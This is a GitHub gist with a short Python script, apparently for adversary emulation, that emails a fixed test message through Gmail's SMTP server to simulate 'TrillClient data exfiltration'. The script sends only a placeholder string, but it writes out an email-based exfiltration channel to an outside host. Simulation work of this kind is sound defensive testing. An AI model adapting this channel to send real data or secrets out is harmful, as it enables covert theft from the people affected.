Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Created January 23, 2026 20:31
Show Gist options
  • Select an option

  • Save justaguywhocodes/1309a081e2e3022a6ee5ea0c8c4ba0cf to your computer and use it in GitHub Desktop.

Select an option

Save justaguywhocodes/1309a081e2e3022a6ee5ea0c8c4ba0cf to your computer and use it in GitHub Desktop.
import smtplib
from email.mime.text import MIMEText
# CONFIGURATION (TEST CREDENTIALS ONLY)
sender_email = "[email protected]" # Use a dedicated TEST account
password = "yourpassword" # Generate an App Password: https://myaccount.google.com/apppasswords
receiver_email = "[email protected]"# Destination
smtp_server = "smtp.gmail.com"
port = 587 # TLS port
message = "Simulated TrillClient data exfiltration test."
# Create email
msg = MIMEText(message)
msg['Subject'] = "TrillClient Test"
msg['From'] = sender_email
msg['To'] = receiver_email
# Send via SMTP
try:
with smtplib.SMTP(smtp_server, port) as server:
server.starttls()
server.login(sender_email, password)
server.sendmail(sender_email, receiver_email, msg.as_string())
print("Email sent successfully (TTP simulation complete).")
except Exception as e:
print(f"Error: {str(e)}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment